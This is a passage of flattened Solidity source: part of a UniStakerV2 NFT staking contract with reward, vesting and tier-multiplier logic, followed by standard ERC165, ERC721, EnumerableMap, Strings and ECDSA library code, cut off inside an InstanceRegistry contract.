RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function removeBonusToken(address bonusToken) external { _admin(); require(_bonusTokenSet.remove(bonusToken), "UniStakerV2: bonus token not present "); // emit event emit BonusTokenRemoved(bonusToken); } function addRewardCalcTemplate(string calldata name, address template) external { _admin(); require(rewardCalcTemplates[name] == address(0), "Template already exists"); rewardCalcTemplates[name] = template; if(rewardCalcTemplateNames.length == 0) { activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, template); } rewardCalcTemplateNames.push(name); emit RewardCalcTemplateAdded(name, template); } function setRewardCalcActiveTemplate(string calldata name) external { _admin(); require(rewardCalcTemplates[name] != address(0), "Template does not exist"); activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, rewardCalcTemplates[name]); } function startLMRewards(address token, uint256 amount, uint256 duration) external { startLMRewards(token, amount, duration, activeRewardCalcTemplate); } function startLMRewards(address token, uint256 amount, uint256 duration, string memory rewardCalcTemplateName) public { _admin(); require(lmRewards[token].startedAt == 0, "A reward program already live for this token"); require(rewardCalcTemplates[rewardCalcTemplateName] != address(0), "Reward Calculator Template does not exist"); // create reward calc clone from template address rewardCalcInstance = ProxyFactory._create(rewardCalcTemplates[rewardCalcTemplateName], abi.encodeWithSelector(IERC2917.initialize.selector)); LMRewardData storage lmrd = lmRewards[token]; lmrd.amount = amount; lmrd.duration = duration; lmrd.startedAt = block.timestamp; lmrd.rewardCalcInstance = rewardCalcInstance; } function setImplementorForRewardsCalculator(address token, address newImplementor) public { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).setImplementor(newImplementor); } function setLMRewardsPerBlock(address token, uint value) public onlyOnline { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).changeInterestRatePerBlock(value); } function addBonusTokenToLMRewards(address lmToken, address bonusToken, uint256 bonusTokenAmount) public { _admin(); require(lmRewards[lmToken].startedAt != 0, "No reward program currently live for this LM token"); require(_bonusTokenSet.contains(bonusToken), "Bonus token not registered"); lmRewards[lmToken].bonusTokens.add(bonusToken); lmRewards[lmToken].bonusTokenAmounts[bonusToken] = lmRewards[lmToken].bonusTokenAmounts[bonusToken].add(bonusTokenAmount); } function endLMRewards(address token, bool removeBonusTokenData) public { _admin(); lmRewards[token].amount = 0; lmRewards[token].duration = 0; lmRewards[token].startedAt = 0; lmRewards[token].rewardCalcInstance = address(0); if (removeBonusTokenData) { for (uint index = 0; index < lmRewards[token].bonusTokens.length(); index++) { address bonusToken = lmRewards[token].bonusTokens.at(index); lmRewards[token].bonusTokens.remove(bonusToken); delete lmRewards[token].bonusTokenAmounts[bonusToken]; } } } function setMaxStakesPerVault(uint256 amount) external { _admin(); MAX_TOKENS_STAKED_PER_VAULT = amount; } function setMaxBonusTokens(uint256 amount) external { _admin(); MAX_BONUS_TOKENS = amount; } function setPlatinumLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); PLATINUM_LM_REWARD_MULTIPLIER_NUM = numerator; PLATINUM_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setGoldLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); GOLD_LM_REWARD_MULTIPLIER_NUM = numerator; GOLD_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setMintLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); MINT_LM_REWARD_MULTIPLIER_NUM = numerator; MINT_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setBlackLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); BLACK_LM_REWARD_MULTIPLIER_NUM = numerator; BLACK_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setLMRewardVestingPeriod(uint256 amount) external { _admin(); LM_REWARD_VESTING_PERIOD = amount; } function setLMRewardVestingPortion(uint256 numerator, uint denominator) external { _admin(); LM_REWARD_VESTING_PORTION_NUM = numerator; LM_REWARD_VESTING_PORTION_DENOM = denominator; } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function getNumVaults() external view override returns (uint256 num) { return _vaultSet.length(); } function getVaultAt(uint256 index) external view override returns (address vault) { return _vaultSet.at(index); } function getNumTokensStaked() external view override returns (uint256 num) { return _allStakedTokens.length(); } function getTokenStakedAt(uint256 index) external view override returns (address token) { return _allStakedTokens.at(index); } function getNumTokensStakedInVault(address vault) external view override returns (uint256 num) { return _vaults[vault].tokens.length(); } function getVaultTokenAtIndex(address vault, uint256 index) external view override returns (address vaultToken) { return _vaults[vault].tokens.at(index); } function getVaultTokenStake(address vault, address token) external view override returns (uint256 tokenStake) { return _vaults[vault].tokenStake[token]; } function getNftTier(uint256 nftId, address nftFactory) public view returns (string memory tier) { uint256 serialNumber = MethodNFTFactory(nftFactory).tokenIdToSerialNumber(nftId); if (serialNumber >= 1 && serialNumber <= 100) { tier = PLATINUM; } else if (serialNumber >= 101 && serialNumber <= 1000) { tier = GOLD; } else if (serialNumber >= 1001 && serialNumber <= 5000) { tier = MINT; } else if (serialNumber >= 5001) { tier = BLACK; } } function getLMRewardData(address token) external view override returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance) { return (lmRewards[token].amount, lmRewards[token].duration, lmRewards[token].startedAt, lmRewards[token].rewardCalcInstance); } function getLMRewardBonusTokensLength(address token) external view override returns (uint length) { return lmRewards[token].bonusTokens.length(); } function getLMRewardBonusTokenAt(address token, uint index) external view override returns (address bonusToken, uint bonusTokenAmount) { return (lmRewards[token].bonusTokens.at(index), lmRewards[token].bonusTokenAmounts[lmRewards[token].bonusTokens.at(index)]); } function getNumVestingLMTokenRewards(address user) external view override returns (uint num) { return vestingLMTokenRewards[user].length(); } function getVestingLMTokenAt(address user, uint index) external view override returns (address token) { return vestingLMTokenRewards[user].at(index); } function getNumVests(address user, address token) external view override returns (uint num) { return vestingLMRewards[user][token].length; } function getLMRewardVestingData(address user, address token, uint index) external view override returns (uint amount, uint startedAt) { return (vestingLMRewards[user][token][index].amount, vestingLMRewards[user][token][index].startedAt); } function getNumRewardCalcTemplates() external view override returns (uint num) { return rewardCalcTemplateNames.length; } /* helper functions */ function isValidVault(address vault, address factory) public view override returns (bool validity) { // validate vault is created from whitelisted vault factory and is an instance of that factory return _vaultFactorySet.contains(factory) && IInstanceRegistry(factory).isInstance(vault); } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != rewardToken && target != rewardPool && !_bonusTokenSet.contains(target); } /* convenience functions */ function _tierMultipliedReward(uint nftId, address nftFactory, uint reward) private view returns (uint multipliedReward) { // get tier string memory tier = getNftTier(nftId, nftFactory); bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { multipliedReward = reward.mul(PLATINUM_LM_REWARD_MULTIPLIER_NUM).div(PLATINUM_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { multipliedReward = reward.mul(GOLD_LM_REWARD_MULTIPLIER_NUM).div(GOLD_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { multipliedReward = reward.mul(MINT_LM_REWARD_MULTIPLIER_NUM).div(MINT_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { multipliedReward = reward.mul(BLACK_LM_REWARD_MULTIPLIER_NUM).div(BLACK_LM_REWARD_MULTIPLIER_DENOM); } } /* user functions */ /// @notice Exit UniStakerV2 without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of tokens staked per vault is set with MAX_TOKENS_STAKED_PER_VAULT to /// place an upper bound on the for loop. /// access control: callable by anyone but fails if caller is not an approved vault /// state machine: /// - when vault exists on this UniStakerV2 /// - when active stake from this vault /// - any power state /// state scope: /// - decrease stakedTokenTotal[token], delete if 0 /// - delete _vaults[vault].tokenStake[token] /// - remove _vaults[vault].tokens.remove(token) /// - delete _vaults[vault] /// - remove vault from _vaultSet /// - remove token from _allStakedTokens if required /// token transfer: none function rageQuit() external override { require(_vaultSet.contains(msg.sender), "UniStakerV2: no vault"); //fetch vault storage reference VaultData storage vaultData = _vaults[msg.sender]; // revert if no active tokens staked EnumerableSet.AddressSet storage vaultTokens = vaultData.tokens; require(vaultTokens.length() > 0, "UniStakerV2: no stake"); // update totals for (uint256 index = 0; index < vaultTokens.length(); index++) { address token = vaultTokens.at(index); vaultTokens.remove(token); uint256 amount = vaultData.tokenStake[token]; uint256 newTotal = stakedTokenTotal[token].sub(amount); assert(newTotal >= 0); if (newTotal == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } else { stakedTokenTotal[token] = newTotal; } delete vaultData.tokenStake[token]; } // delete vault data _vaultSet.remove(msg.sender); delete _vaults[msg.sender]; // emit event emit RageQuit(msg.sender); } /// @notice Stake ERC721 tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this UniStakerV2 /// state scope: /// - add token to _vaults[vault].tokens if not already exists /// - increase _vaults[vault].tokenStake[token] /// - add vault to _vaultSet if not already exists /// - add token to _allStakedTokens if not already exists /// - increase stakedTokenTotal[token] /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake to /// @param vaultFactory address The address of the vault factory which created the vault /// @param token address The address of the token being staked /// @param tokenId uint256 The id of token to stake function stakeERC721( address vault, address vaultFactory, address token, uint256 tokenId, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault, vaultFactory), "UniStakerV2: vault is not valid"); // add vault to set _vaultSet.add(vault); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require(vaultData.tokens.length() < MAX_TOKENS_STAKED_PER_VAULT, "UniStakerV2: MAX_TOKENS_STAKED_PER_VAULT reached"); // add token to set and increase amount vaultData.tokens.add(token); vaultData.tokenStake[token] = vaultData.tokenStake[token].add(1); // update total token staked _allStakedTokens.add(token); stakedTokenTotal[token] = stakedTokenTotal[token].add(1); // perform transfer to vault IERC721(token).safeTransferFrom(msg.sender, vault, tokenId); // call lock on vault IUniversalVaultV2(vault).lockERC721(token, tokenId, permission); // check if there is a reward program currently running if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint rewardEarned,) = IERC2917(rewardCalcInstance).increaseProductivity(msg.sender, 1); earnedLMRewards[msg.sender][token] = earnedLMRewards[msg.sender][token].add(rewardEarned); } // emit event emit Staked(vault, token, tokenId); } /// @notice Unstake ERC721 tokens and claim reward /// @dev LM rewards can only be claimed when unstaking /// access control: anyone with permission /// state machine: /// - when vault exists on this UniStakerV2 /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _vaults[vault].tokenStake[token] /// - delete token from _vaults[vault].tokens if token stake is 0 /// - decrease stakedTokenTotal[token] /// - delete token from _allStakedTokens if total token stake is 0 /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param vaultFactory address The vault factory that created this vault /// @param recipient address The recipient to send reward to /// @param token address The staking token /// @param tokenId uint256 The id of the token to unstake /// @param claimBonusReward bool flag to claim bonus rewards function unstakeERC721AndClaimReward( address vault, address vaultFactory, address recipient, address token, uint256 tokenId, bool claimBonusReward, bytes calldata permission ) external override onlyOnline { require(_vaultSet.contains(vault), "UniStakerV2: no vault"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // validate recipient require(isValidAddress(recipient), "UniStakerV2: invalid recipient"); // check for sufficient vault stake amount require(vaultData.tokens.contains(token), "UniStakerV2: no token in vault"); // check for sufficient vault stake amount require(vaultData.tokenStake[token] >= 1, "UniStakerV2: insufficient vault token stake"); // check for sufficient total token stake amount // if the above check succeeds and this check fails, there is a bug in stake accounting require(stakedTokenTotal[token] >= 1, "stakedTokenTotal[token] is less than 1"); // check if there is a reward program currently running uint rewardEarned = earnedLMRewards[msg.sender][token]; if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint newReward,) = IERC2917(rewardCalcInstance).decreaseProductivity(msg.sender, 1); rewardEarned = rewardEarned.add(newReward); } // decrease totalStake of token in this vault vaultData.tokenStake[token] = vaultData.tokenStake[token].sub(1); if (vaultData.tokenStake[token] == 0) { vaultData.tokens.remove(token); delete vaultData.tokenStake[token]; } // decrease stakedTokenTotal across all vaults stakedTokenTotal[token] = stakedTokenTotal[token].sub(1); if (stakedTokenTotal[token] == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } // unlock staking tokens from vault IUniversalVaultV2(vault).unlockERC721(token, tokenId, permission); // emit event emit Unstaked(vault, token, tokenId); // only perform on non-zero reward if (rewardEarned > 0) { // transfer bonus tokens from reward pool to recipient // bonus tokens can only be claimed during an active rewards program if (claimBonusReward && lmRewards[token].startedAt != 0) { for (uint256 index = 0; index < lmRewards[token].bonusTokens.length(); index++) { // fetch bonus token address reference address bonusToken = lmRewards[token].bonusTokens.at(index); // calculate bonus token amount // bonusAmount = rewardEarned * allocatedBonusReward / allocatedMainReward uint256 bonusAmount = rewardEarned.mul(lmRewards[token].bonusTokenAmounts[bonusToken]).div(lmRewards[token].amount); // transfer bonus token IRewardPool(rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // take care of multiplier uint multipliedReward = _tierMultipliedReward(uint(vault), vaultFactory, rewardEarned); // take care of vesting uint vestingPortion = multipliedReward.mul(LM_REWARD_VESTING_PORTION_NUM).div(LM_REWARD_VESTING_PORTION_DENOM); vestingLMRewards[msg.sender][token].push(LMRewardVestingData(vestingPortion, block.timestamp)); vestingLMTokenRewards[msg.sender].add(token); // set earned reward to 0 earnedLMRewards[msg.sender][token] = 0; // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, recipient, multipliedReward.sub(vestingPortion)); // emit event emit RewardClaimed(vault, recipient, rewardToken, rewardEarned); } } function claimVestedReward() external override onlyOnline { uint numTokens = vestingLMTokenRewards[msg.sender].length(); for (uint index = 0; index < numTokens; index++) { address token = vestingLMTokenRewards[msg.sender].at(index); claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } } function claimVestedReward(address token) external override onlyOnline { claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } function claimVestedReward(address token, uint numVests) public onlyOnline { require(numVests <= vestingLMRewards[msg.sender][token].length, "num vests can't be greater than available vests"); LMRewardVestingData[] storage vests = vestingLMRewards[msg.sender][token]; uint vestedReward; for (uint index = 0; index < numVests; index++) { LMRewardVestingData storage vest = vests[index]; uint duration = block.timestamp.sub(vest.startedAt); uint vested = vest.amount.mul(duration).div(LM_REWARD_VESTING_PERIOD); if (vested >= vest.amount) { // completely vested vested = vest.amount; // copy last element into this slot and pop last vests[index] = vests[vests.length - 1]; vests.pop(); index--; numVests--; // if all vested remove from set if (vests.length == 0) { vestingLMTokenRewards[msg.sender].remove(token); break; } } else { vest.amount = vest.amount.sub(vested); } vestedReward = vestedReward.add(vested); } if (vestedReward > 0) { // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, vestedReward); // emit event emit VestedRewardClaimed(msg.sender, rewardToken, vestedReward); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IFactory { function create(bytes calldata args) external returns (address instance); function create2(bytes calldata args, bytes32 salt) external returns (address instance); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; interface IInstanceRegistry { /* events */ event InstanceAdded(address instance); event InstanceRemoved(address instance); /* view functions */ function isInstance(address instance) external view returns (bool validity); function instanceCount() external view returns (uint256 count); function instanceAt(uint256 index) external view returns (address instance); } /// @title InstanceRegistry contract InstanceRegistry is IInstanceRegistry { using EnumerableSet for EnumerableSet.AddressSet; /* storage */ EnumerableSet.AddressSet 